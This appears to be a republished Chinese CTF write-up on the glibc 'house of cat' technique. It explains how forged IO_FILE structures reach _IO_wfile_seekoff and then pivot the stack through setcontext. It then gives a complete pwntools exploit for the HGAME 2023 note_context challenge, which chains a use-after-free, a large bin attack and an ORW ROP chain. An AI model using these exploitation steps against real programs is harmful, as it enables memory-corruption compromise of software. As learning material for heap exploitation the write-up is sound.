house of cat

news2024/9/21 4:03:38

文章目录

  • house of cat
    • 概述:
    • _IO_wfile_jumps
    • 进入_IO_wfile_seekoff
      • FSOP
      • __malloc_assert
    • 例题:
      • 思路:
      • 分析:
      • 利用:

house of cat

概述:

  1. house of cat主要的摸底还是覆盖vtable指针,因为在glibc-2.24之后堆vtable新增了检查,导致直接覆盖vtable为system行不通,所以需要 利用_IO_jump_t中的函数 (这样能绕过vtable的判断)来挟持程序的控制流。

    vtable的检查可以看这篇文章 :glibc 2.24 下 IO_FILE 的利用 ,house of cat可以通过伪造IO_FILE走FOSP或者**__malloc_assert** 来完成攻击。

_IO_wfile_jumps

  1. 首先利用的函数就是_IO_wfile_jumps中的 _IO_wfile_seekoff函数,这里看一下 _IO_wfile_jumps的结构:

    我们关注的**_IO_wfile_seekoff**在第10个位置,偏移为0x48。这里额外关注一下第二个函数_IO_wfile_overflow,后面会调用。

    image-20240902094859041

    _IO_wfile_seekoff函数的源码如下,截取要利用的关键部位:

    off64_t
    _IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode)
    {
      off64_t result;
      off64_t delta, new_offset;
      long int count;
    
      /* Short-circuit into a separate function.  We don't want to mix any
         functionality and we don't want to touch anything inside the FILE
         object. */
      if (mode == 0) // 要绕过这个判断 mode 不能为 0
        return do_ftell_wide(fp);
    
      /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
         offset of the underlying file must be exact.  */
      int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));
    
      bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)); // 给was_writing赋值
    
      /* Flush unwritten characters.
         (This may do an unneeded write if we seek within the buffer.
         But to be able to switch to reading, we would need to set
         egptr to pptr.  That can't be done in the current design,
         which assumes file_ptr() is eGptr.  Anyway, since we probably
         end up flushing when we close(), it doesn't make much difference.)
         FIXME: simulate mem-mapped files. */
      if (was_writing && _IO_switch_to_wget_mode(fp)) // was_writing为1时会调用_IO_switch_to_wget_mode函数,传入的第一个参数是当前的FILE
        return WEOF;
    
    

    _IO_switch_to_wget_mode函数的源码如下:

    函数在第一个判断条件成立后会调用_IO_WOVERFLOW函数,并传入当前FILE地址。仔细看,这里的判断条件和上上面 _IO_wfile_seekoff的判断条件是一样的。所以伪造IO_FILE是只用满足该条件即可

        int _IO_switch_to_wget_mode(FILE *fp)
    {
      if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
        if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)
          return EOF;
      if (_IO_in_backup(fp))
        fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
      else
      {
        fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
        if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
          fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
      }
      fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;
    
      fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;
    
      fp->_flags &= ~_IO_CURRENTLY_PUTTING;
      return 0;
    }
    

    这里提前放一段 _IO_switch_to_wget_mode函数的汇编指令,后面讲一个打IO_FILE的栈迁移(不用malloc_hook和free_hook):

    看一下_IO_WOVERFLOW(fp, WEOF)的调用过程:

    调用 fp的_wide_data字段 指向的 结构体**_ IO_wide_data**中的 _wide_vtable字段 所指向的__overflow函数(在虚表中偏移为 0x18,也就是上面 _IO_wfile_jumps中的第二个函数)。并且再次过程中 使用 _wide_vtable时并没有像glibc-2.24中的vtable检查范围,所以这里的 _wide_vtable字段的指针时可以被我们随意覆盖的(覆盖成system)

    image-20240902091946038

    结构体如下:

    image-20240902092725210

  2. 最后综上,从_IO_wfile_seekoff函数 要执行到 _IO_switch_to_wget_mode函数,需要绕过的检查:

    fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    

    所以,在伪造IO_FILE时可以按照下面方法:

    • 伪造的IO_FILE地址 + 0xc0 ==> -1 (fp->_mode != 0)

    • 伪造的IO_FILE地址 + 0xa0 ==> 任意一个堆地址 chunk_addr

    • chunk_addr + 0x18 ==> 0x1 (fp->_wide_data->_IO_write_ptr)

    • chunk_addr + 0x20 ==> 0x0 (fp->_wide_data->_IO_write_base)

进入_IO_wfile_seekoff

  1. 上面只看了_IO_wfile_seekoff函数 要执行到 _IO_switch_to_wget_mode函数的情况,如何执行到 _IO_wfile_seekoff函数还没有解决,下面看如何执行到 _IO_wfile_seekoff函数,两种方法:

FSOP

执行的IO链子:

__GI_exit --> __run_exit_handlers --> _IO_cleanup --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode
  1. 因为_IO_wfile_seekoff函数所在的虚表 _IO_wfile_jumps时存在vtable检查内的,所以利用先前house of pig中,通过调用exit函数执行到 _IO_flush_all_lockp,然后覆盖vtable为 _IO_wfile_jumps + 0x30 ,在 _IO_flush_all_lockp刷新所有文件时就会调用到 _IO_wfile_seekoff 函数.

  2. 简单看一下FSOP的调用链,前提时满足FSOP链的要求。而 _IO_wfile_seekoff调用到 _IO_switch_to_wget_mode要满足 mode != 0,所以 mode <0 ,但是 _IO_wfile_seekoff中的mode并不是 fp-> _mode:

    image-20240902165310328

    image-20240902164938245

    要绕过这个mode == 0的我检查,就要在 _IO_flush_all_lockp调用 _IO_wfile_seekoff函数时将传入的参数mode设置为0,在挟持vtavle执行 _IO_wfile_seekoff函数时,如果使用第一个判断条件

    看一下调试的情况(这里用的是glibc-2.31),在调用到 _IO_wfile_seekoff函数之前都没有对rcx进行赋值,所以进入 _IO_wfile_seekoff函数后 参数mode会是0,这种情况下我们不能控制mode参数的值(我继续像上面的函数调试了,发现在 _IO_cleanup 函数中将rcx设置为0,一直保持到了 _IO_flush_all_lockp 函数)。如果利用第一个判断条件,我们是无法通过伪造IO_FILE来将mode 即 rcx寄存器的值设置为0 :

    如果使用第二个判断条件 (和IO_wfile_seekoff调用IO_switch_to_wget_mode函数的条件一样),在进入到 IO_wfile_seekoff函数之前, 这里对rcx进行了赋值,用的是**(_IO_wide_data_2+24)即 _IO_wide_data_2中的 _IO_write_base字段的值**。在这前面的部分都没有对rcx赋值,且在进入_IO_flush_all_lockp函数是rcx的值为0

    image-20240902171941166

    满足,fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 后顺利调用到 _IO_switch_to_wget_mode函数,这里传参rdi的值直接给的FILE地址:

    image-20240902103826613

    再次通过上面的判断条件后,通过从fp中的_wide_data字段 进入 _IO_wide_data_2,再通过 IO_wide_data_2中的 _wide_vtable字段 顺利调用到 _IO_wfile_jumps中偏移为0x18处的函数 _IO_wfile_overflow:

    image-20240902103933810

    所以,如果伪造FILE,在绕过检查的同时(上面有绕过检查的方法),再伪造一下fp中的_wide_data字段 和对应 IO_wide_data_2 就能get shell,伪造好后如下(这里演示栈迁移的get shell的方法 仍然只使用system(“/bin/sh”)),要用到setcontext,并且用 _IO_switch_to_wget_mode函数前段部分 用rdi 给rdx赋值

    rdi(fp) ==> rax(_wide_vtable) ==> rdx( _wide_vtable -> _IO_write_ptr ):

    image-20240902195801390

    执行到 调用_IO_wfile_seekoff函数之前,将IO_wide_data_2中的 _IO_write_base字段值给到rcx

    image-20240902193431998

    进入_IO_wfile_seekoff函数,可以看到传入的额参数mode = 1:

    image-20240902193716151

    这里检查了传入的 mode 是否为0:

    image-20240902193840863

    成功衔接到_IO_switch_to_wget_mode函数:

    image-20240902193914697

    进入_IO_switch_to_wget_mode 函数,开头的一段直接 rdi(fp) ==> rax( _wide_vtable) ==> rdx( _wide_vtable -> _IO_write_ptr ),完成 rdi 到 rdx值的转化,后面的call 指令顺利衔接到setcontext + 61:

    image-20240902194520125

    进入setconbext + 61,对 rsp 赋值完成栈迁移,rcx 赋为ret指令地址入栈,退出时平衡掉栈:

    image-20240902195127027

    顺利完成栈迁移,成功get shell:

    image-20240902195424808

__malloc_assert

  1. FSOP前面都已经介绍的很熟悉了,这里主要看另外一种能调用到 _IO_wfile_seekoff函数的方法。
  2. __malloc_assert 函数的作用就是在动态内存分配失败时,提供一种处理这种情况的方法。它可能会打印错误信息、触发断言(assert)或执行其他错误处理操作。
  3. __malloc_assert触发的IO链子:
_int_malloc --> sysmalloc --> __malloc_assert --> __fxprintf --> __vfxprintf--> locked_vfxprintf --> __vfprintf_internal --> _IO_file_xsputn

经过调试,发现这里要执行到_IO_file_xsputn 要将 _flag要设置为0x8005 (绕过__vfprintf_internal中的两个检查):

第一个检查:

image-20240902224257783

第二个检查:

image-20240902224429651

image-20240902223728817

image-20240902223736971

  1. 这里覆盖文件中的stderr字段指向堆,然后在堆上伪造 _IO_2_1_stderr _ 结构,伪造的结构如下(这里只保证执行到setcontext + 53处)。注意:因为IO链的不同,这里伪造时和FSOP不同之处在于vtable的覆盖 要使用 _IO _wfile _jumps+0x10,这样后面+0x38 偏移就能拿到 _IO_wfile_seekoff函数:

    image-20240903110046666

    在__vfxprintf 函数中,会从stderr中取出伪造的FILE地址(这里原本是 _IO_2_1_stderr _的地址):

    image-20240903104551502

    在这里绕过一个判断条件,成功调用到 __vfxprintf函数:

    image-20240903105020856

    后面进入到 __vfwprintf_internal函数中,通过 _IO_vtable_check判断,成功调用到 _IO_wfile_seekoff函数,并且 _IO_wfile_seekoff中传入的参数mode不为0,可以绕过前面第一个判断:

    image-20240903105239315

    image-20240903105354044

    这里满足第二个判断条件 fp-> _wide_data->_IO_write_ptr > fp-> _wide_data-> _IO_write_base,最后调用到 _IO_switch_to_wget_mode函数:

    image-20240903105615946

    进入_IO_switch_to_wget_mode函数(这里仍然能完成栈迁移 rdi --> rdx转换,和上面FSOP一样),绕过判断条件 fp-> _wide_data-> _IO_write_ptr > fp-> _wide_data-> _IO_write_base 后成功衔接到<setcontext+53>:

    image-20240903110226919

例题:

题目地址:[HGAME 2023 week3]note_context | NSSCTF

思路:

  1. 只存在一个UAF漏洞,并且申请的size限制在0x500往上,这里就只能打large bin attack,libc的版本附件给的是2.32,所以这里可以打house of cat,利用FSOP触发,栈迁移到堆上,基本的流程如下:

    泄漏堆地址、libc地址 --> large bin attack 覆盖 _IO_list_all --> 伪造IO_FILE --> 最后在 _IO_flush_all_lockp劫持函数,通过 _wide_data中的函数指针完成栈迁移到堆上。

分析:

  1. 4项功能俱全,add函数中设置了size范围大于0x500 小于0x900,delete函数中存在UAF漏洞,并且最后主动调用了exit()函数。同时开了沙箱要绕过,并且保护全开(这里__malloc_assert触发就不太现实了 stderr的地址都拿不到):

    image-20240903215122766

    image-20240903205017690

    image-20240903205021933

    image-20240903205745353

利用:

  1. 先泄漏堆地址和libc地址:

    
    # 泄漏libc
    add(0x510,0)    #0
    add(0x530,15)    #15 隔开
    add(0x520,1)    #1
    add(0x530,15)    #15
    edit(15,b"./flag\x00\x00")
    
    free(1)
    add(0x530,15)    #15 将chunk1放入large bin
    show(1)
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = addr - 0x1E4030
    success("libc_addr==>"+hex(libc_base))
    debug()
    pause()
    #计算__free_hook和system地址
    setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
    system_addr        = libc_base + libc.sym["system"]
    IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
    IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
    IO_wfile_jumps_addr = libc_base + libc.sym["_IO_wfile_jumps"]
    # IO_wfile_jumps_addr = libc_base + 0x1E4F80
    
    success("system_addr==>"        + hex(system_addr))
    success("setcontext_addr==>"    + hex(setcontext_addr))
    success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
    success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
    success("IO_wfile_jumps_addr==>"   + hex(IO_wfile_jumps_addr))
    
    open_addr = libc.sym['open']+libc_base
    read_addr = libc.sym['read']+libc_base
    write_addr = libc.sym['write']+libc_base
    
    pop_rdi_ret=libc_base + 0x000000000002858f
    pop_rdx_r12_ret=libc_base + 0x0000000000114161
    pop_rax_ret=libc_base + 0x0000000000045580
    pop_rsi_ret=libc_base + 0x000000000002ac3f
    ret= libc_base + 0x0000000000026699
    
    
    # 泄漏堆地址 同时完成large bin attack 攻击 覆盖掉IO_list_all
    free(0)
    edit(1,p64(addr)*2 + p64(0) + p64(IO_list_all_addr-0x20))
    add(0x530,15)    #15 将chunk0放入large bin 触发large bin attack
    
    show(1)
    p.recv()
    heap_addr = u64(p.recv(6).ljust(8,b'\x00'))-0x290
    success("heap_addr==>"+hex(heap_addr))
    

    这里由于只有large bin,没有chunk进入fastbin和tcache,所以可以在完成large bin attack的同时,利用large bin fd指针上的值泄漏堆地址。

    这里泄漏libc地址,同时可以看到fd指针上是无法得到堆地址的:

    image-20240903210634702

    这里完成一次large bin attack攻击 ,同时泄漏堆地址:

    image-20240903215757651

    image-20240903211336770

  2. 后面在堆上伪造IO_FILE 同时 写好ORW ,利用_IO_switch_to_wget_mode完成栈迁移(堆上布置好rsp和rcx寄存器的值),这里将IO_FILE、ORW、 _wide_data、寄存器传参、直接全部在一个堆上伪造(这里堆的各种偏移需要调试计算好):

    # ORW
    syscall = read_addr+16
    flag = heap_addr+0x1230		# 前面堆上写入的b"./flag\x00\x00"地址
    
    # open(0,flag)
    orw =p64(pop_rdi_ret)+p64(flag)
    orw+=p64(pop_rsi_ret)+p64(0)
    orw+=p64(pop_rax_ret)+p64(2)
    orw+=p64(syscall)
    # orw =p64(pop_rdi_ret)+p64(flag)
    # orw+=p64(pop_rsi_ret)+p64(0)
    # orw+=p64(open_addr)
    
    # read(3,heap+0x1010,0x30) 
    orw+=p64(pop_rdi_ret)+p64(3)
    orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)
    orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    orw+=p64(read_addr)     
    
    # write(1,heap+0x1010,0x30)
    orw+=p64(pop_rdi_ret)+p64(1)
    orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)#存放地址0x50
    orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    orw+=p64(write_addr)
    
    
    # debug()
    # ========== 伪造IO_FILE ==========
    file = p64(0) + p64(0)              #_IO_read_end    _IO_read_base
    file+= p64(0) + p64(1) + p64(0)     #_IO_write_base  _IO_write_ptr _IO_write_end
    file+= p64(0) + p64(0)              #_IO_buf_base    _IO_buf_end
    file+= p64(0) * 11                  #_IO_save_base ~ _codecvt
    file+= p64(heap_addr + 0x370)        #_wide_data
    file+= p64(0) *3                    #_freeres_list ~ __pad5
    file+= p64(1) + p64(0)*2            # _mode  _unused2 (2dword)
    
    file+=p64(IO_wfile_jumps_addr + 0x30)   #vtable
    
    #_IO_wide_data_2
    _wide_vtable = heap_addr + 0x380
    rdx = heap_addr + 0x380			   # rdi --> rdx 转换
    stack_change = heap_addr + 0x460
    
    file+= p64(0)*3                                      #_IO_read_ptr   _IO_read_end  _IO_read_base
    file+= p64(1) + p64(rdx) + p64(setcontext_addr)      #_IO_write_base _IO_write_ptr _IO_write_end
    file+= p64(0) * 16 + p64(stack_change) + p64(ret)
    file+= p64(0) * 4
    file+= p64(_wide_vtable)          #_wide_vtable
    file+= p64(0)   #填充
    # stack change
    file+= orw
    
    edit(0,file)
    p.sendline(b"5")
    p.interactive()
    

    看一下伪造好后的堆:

    image-20240903212044439

    image-20240903212109523

    image-20240903212635072

    下面试栈迁移的过程:

    绕过检查 进入 _IO_switch_to_wget_mode

    image-20240903212747400

    在 函数中完成 rdi --> rdx 值的转换,并成功衔接到 setcontext+61:

    image-20240903213428197

    进入setcontext + 61,开头完成栈迁移:

    image-20240903213504978

    push rcx 入栈 ret指令地址:

    image-20240903213542446

    最后衔接到堆上布置好的ORW:

    image-20240903213655674

    最后读取到flag:

    image-20240903213717672

  3. 完成EXP,这里就只打了本地,因为远程泄漏出来的libc地址根本不对,应该是给的libc版本和远程的不符合:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    def debug():
        gdb.attach(p)
    
    # p = remote("node5.anna.nssctf.cn",28430)
    p = process("./vuln")
    # libc = ELF('./lib/libc_2.31-0ubuntu9.2_amd64.so')
    
    libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so')
    # elf = ELF("./pwn")
    
    def add(size,index):
        p.sendlineafter(b'>','1')
        p.sendlineafter(b':',str(index).encode())
        p.sendlineafter(b':',str(size).encode())
        
    
    def edit(index, content):
        p.sendlineafter(b'>','3')
        p.sendlineafter(b':',str(index).encode())
        p.sendafter(b':',content)
    
    def show(index):
        p.sendlineafter(b'>',b'4')
        p.sendlineafter(b':',str(index).encode())
    
    def free(index):
        p.sendlineafter(b'>','2')
        p.sendlineafter(b':',str(index).encode())
    
    # 泄漏libc
    add(0x510,0)    #0
    add(0x530,15)    #15 隔开
    add(0x520,1)    #1
    add(0x530,15)    #15
    edit(15,b"./flag\x00\x00")
    
    free(1)
    add(0x530,15)    #15 将chunk1放入large bin
    show(1)
    
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    libc_base = addr - 0x1E4030
    success("libc_addr==>"+hex(libc_base))
    
    #计算__free_hook和system地址
    setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
    system_addr        = libc_base + libc.sym["system"]
    IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
    IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
    IO_wfile_jumps_addr = libc_base + libc.sym["_IO_wfile_jumps"]
    # IO_wfile_jumps_addr = libc_base + 0x1E4F80
    
    success("system_addr==>"        + hex(system_addr))
    success("setcontext_addr==>"    + hex(setcontext_addr))
    success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
    success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
    success("IO_wfile_jumps_addr==>"   + hex(IO_wfile_jumps_addr))
    
    open_addr = libc.sym['open']+libc_base
    read_addr = libc.sym['read']+libc_base
    write_addr = libc.sym['write']+libc_base
    
    pop_rdi_ret=libc_base + 0x000000000002858f
    pop_rdx_r12_ret=libc_base + 0x0000000000114161
    pop_rax_ret=libc_base + 0x0000000000045580
    pop_rsi_ret=libc_base + 0x000000000002ac3f
    ret= libc_base + 0x0000000000026699
    
    # 泄漏堆地址 同时完成large bin attack 攻击 覆盖掉IO_list_all
    free(0)
    edit(1,p64(addr)*2 + p64(0) + p64(IO_list_all_addr-0x20))
    add(0x530,15)    #15 将chunk0放入large bin 触发large bin attack
    
    show(1)
    p.recv()
    heap_addr = u64(p.recv(6).ljust(8,b'\x00'))-0x290
    success("heap_addr==>"+hex(heap_addr))
    
    # ORW
    syscall = read_addr+16
    flag = heap_addr+0x1230
    
    # open(0,flag)
    orw =p64(pop_rdi_ret)+p64(flag)
    orw+=p64(pop_rsi_ret)+p64(0)
    orw+=p64(pop_rax_ret)+p64(2)
    orw+=p64(syscall)
    # orw =p64(pop_rdi_ret)+p64(flag)
    # orw+=p64(pop_rsi_ret)+p64(0)
    # orw+=p64(open_addr)
    
    # read(3,heap+0x1010,0x30) 
    orw+=p64(pop_rdi_ret)+p64(3)
    orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)
    orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    orw+=p64(read_addr)     
    
    # write(1,heap+0x1010,0x30)
    orw+=p64(pop_rdi_ret)+p64(1)
    orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)#存放地址0x50
    orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
    orw+=p64(write_addr)
    
    # ========== 伪造IO_FILE ==========
    file = p64(0) + p64(0)              #_IO_read_end    _IO_read_base
    file+= p64(0) + p64(1) + p64(0)     #_IO_write_base  _IO_write_ptr _IO_write_end
    file+= p64(0) + p64(0)              #_IO_buf_base    _IO_buf_end
    file+= p64(0) * 11                  #_IO_save_base ~ _codecvt
    file+= p64(heap_addr + 0x370)        #_wide_data
    file+= p64(0) *3                    #_freeres_list ~ __pad5
    file+= p64(1) + p64(0)*2            # _mode  _unused2 (2dword)
    
    file+=p64(IO_wfile_jumps_addr + 0x30)   #vtable
    
    #_wide_data
    _wide_vtable = heap_addr + 0x380
    rdx = heap_addr + 0x380
    stack_change = heap_addr + 0x460
    
    file+= p64(0)*3                                      #_IO_read_ptr   _IO_read_end  _IO_read_base
    file+= p64(1) + p64(rdx) + p64(setcontext_addr)      #_IO_write_base _IO_write_ptr _IO_write_end
    file+= p64(0) * 16 + p64(stack_change) + p64(ret)
    file+= p64(0) * 4
    file+= p64(_wide_vtable)          #_wide_vtable
    file+= p64(0)   #填充
    # stack change
    file+= orw
    
    edit(0,file)
    p.sendline(b"5")
    p.interactive()
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2101944.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

结构型设计模式—桥接模式

结构型设计模式—桥接模式 欢迎长按图片加好友&#xff0c;我会第一时间和你分享持续更多的开发知识&#xff0c;面试资源&#xff0c;学习方法等等。 假设你要买一张新桌子&#xff0c;你有两个选择&#xff1a;一种是木制的桌子&#xff0c;另一种是金属制的桌子。 无论你选…

软件工程知识点总结(1):软件工程概述

1 什么是软件&#xff1f; 定义&#xff1a;计算机系统中的程序及其文档。 ——程序是计算机任务的处理对象和处理规模的描述&#xff1b; ——文档是为了便于了解程序所需要的阐明性资料。 2 软件的特点&#xff1f; 软件是无形的&#xff0c;不可见的逻辑实体 ——它的正确与…

【Python基础】字典类型

本文收录于 《Python编程入门》专栏&#xff0c;从零基础开始&#xff0c;分享一些Python编程基础知识&#xff0c;欢迎关注&#xff0c;谢谢&#xff01; 文章目录 一、前言二、Python 字典类型2.1 访问字典里的值2.2 修改字典2.3 删除字典元素2.4 字典键值的特性2.5 遍历字典…

免费pdf转word软件,为你整理出8种方法,总有一个适合你

在日常办公和学习中&#xff0c;PDF文档因其格式稳定、不易修改的特性而广受欢迎。然而&#xff0c;有时我们需要对PDF内容进行编辑或格式调整&#xff0c;这时将其转换为Word文档便显得尤为重要。下面给大家介绍8种将PDF转换成Word的方法&#xff0c;包括在线网站、专业软件及…

第四篇——数学思维:数学家如何从逻辑出发想问题?

目录 一、背景介绍二、思路&方案三、过程1.思维导图2.文章中经典的句子理解3.学习之后对于投资市场的理解4.通过这篇文章结合我知道的东西我能想到什么&#xff1f; 四、总结五、升华 一、背景介绍 数学思维中的很多方法能够让我们脱离事物的表象去直击本质通过本质进行逻…

在Linux中使用MySQL基础SQL语句及校验规则

卸载内置环境 查看是否存在MySQL ps axj | grep mysql关闭MySQL systemctl stop mysqld MySQL对应的安装文件 rpm -qa | grep mysql 批量卸载 rpm -qa | grep mysql | xargs yum -y remove 上传MySQL rz 查看本地yum源 ls /etc/yum.repos.d/ -a 安装MySQL rpm -ivh…

Linux:手搓shell

之前学了一些和进程有关的特性&#xff0c;什么进程控制啊进程替换啊&#xff0c;我们来尝试自己搓一个shell()吧 首先我们观察shell的界面&#xff0c;发现centos的界面上有命令提示符&#xff1a; [主机名用户名当前路径] 我们可以通过调用系统函数获取当前路径&#xff0…

C语言代码练习(第十二天)

今日练习&#xff1a; 28、&#xff08;指针&#xff09;将字符串 a 复制为字符串 b &#xff0c;然后输出字符串 b 29、改变指针变量的值 30、输入两个整数&#xff0c;然后让用户选择1或者2&#xff0c;选择1是调用 max &#xff0c;输出两者中的大数&#xff0c;选择2是调用…

Mac M1 安装Hadoop教程(安装包安装)

一、引言 前面一期&#xff0c;我分享了通过homebrew方式安装Hadoop&#xff0c;本期我将通过安装包方式介绍下hadoop如何安装。二、下载open jdk8 官方下载地址 注意如果是x86架构的苹果电脑&#xff0c;Architecture选择x86 64-bit或者 x86-32bit。 下载后&#xff0c;将得…

Axios前后端对接

前端&#xff1a; 通过GET获取元素&#xff1a; console.log(res),接收接口返回的数据并打印出来。 async:是异步的知识。 通过POST修改&#xff0c;更新元素&#xff1a; 后端&#xff1a; 通过前端从后端获取一个对象&#xff1a; 后端执行相应方法&#xff1a; 然后获取L…

Spring6学习笔记2:容器IoC

文章目录 3 容器&#xff1a;IoC3.1 IoC容器3.1.2 依赖注入3.1.3 IoC容器在Spring的实现 3.2 基于XML管理Bean3.2.1 搭建子模块spring6-ioc-xml3.2.2 实验一&#xff1a;获取bean①方式一&#xff1a;根据id获取②方式二&#xff1a;根据类型获取③方式三&#xff1a;根据id和类…

day-48 一个小组的最大实力值

思路 想把所有非零数相乘&#xff0c;再统计负数的个数&#xff0c;如果负数为奇数个&#xff0c;则把乘机除以最大的那个负数即为答案&#xff0c;如果为偶数个&#xff0c;那么乘机即为答案 解题过程 但要考虑特殊情况&#xff1a;1.只有零和一个负数&#xff0c;返回零 2.全…

深入浅出Stream流

Java 8的新特性之一就是流stream&#xff0c;配合同版本出现的 Lambda &#xff0c;使得操作集合&#xff08;Collection&#xff09;提供了极大的便利。 案例引入 在JAVA中&#xff0c;涉及到对数组、Collection等集合类中的元素进行操作的时候&#xff0c;通常会通过循环的…

cuda编程[1]:一二三维网格和块的核函数

目录 前言核函数一维二维三维结果分析 前言 所有的代码下载链接&#xff1a;code。以下代码展示了如何在 CUDA 中打印网格和线程的索引信息。代码包括一维、二维和三维的网格和块的设置&#xff0c;并定义了多个内核函数来输出当前的索引信息。 核函数 打印线程索引 __gl…

七、场景加载

一、新的场景加载方法 Unity在2023更新的一个方法 1、引用命名空间 2、调用代码 传入加载场景SO 注&#xff1a;此方法是 await 方法名 步骤&#xff1a;var s获取返回值&#xff1b;await返回加载内容&#xff1b;if(判断一下) 此时运行会出现&#xff1a;未卸载当前地图…

SPP/SPPF/Focal Module

一、在图像的分类任务重&#xff0c;卷积神经网络&#xff08;CNN&#xff09;一般含有5层&#xff1a; 输入层卷积层激活层池化层全连接层 全连接层通常要求输入为一维向量。在CNN中&#xff0c;卷积层和池化层的输出特征图会被展平&#xff08;flatten&#xff09;为一维…

华为云征文|华为云Flexus云服务器X实例部署Note Mark笔记工具

华为云征文&#xff5c;华为云Flexus云服务器X实例部署Note Mark笔记工具 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、Note Mark 介绍2.1 Note Mark 简介2.2 Note Mark 特点2.3 Note Mark 使…

iOS分渠道统计不再难,Xinstall帮你轻松搞定

在App推广和运营的过程中&#xff0c;iOS分渠道统计一直是一个令人头疼的问题。如何准确追踪各个渠道的推广效果&#xff1f;如何优化投放策略以提高转化率&#xff1f;这些问题困扰着无数推广者。今天&#xff0c;我们就来聊聊Xinstall这款强大的分渠道统计工具&#xff0c;看…

【自由能系列(中级)】自由能与变分自由能——从状态到配置的效益最大化【代码模拟】

自由能与变分自由能——从状态到配置的效益最大化 关键词提炼 #自由能 #变分自由能 #状态函数 #配置函数 #效益最大化 #物理系统 #优化问题 第一节&#xff1a;自由能与变分自由能的类比与核心概念 1.1 自由能与变分自由能的类比 自由能和变分自由能可以被视为物理系统的“…

Mysql高阶语句(1)

一、常用查询 1. 按关键字排序 使用 ORDER BY 语句对查询结果进行排序&#xff0c;可以按照一个或多个字段进行升序&#xff08;ASC&#xff09;或降序&#xff08;DESC&#xff09;排列 语法 SELECT column1, column2, ... FROM table_name ORDER BY column1 [ASC|DESC], c…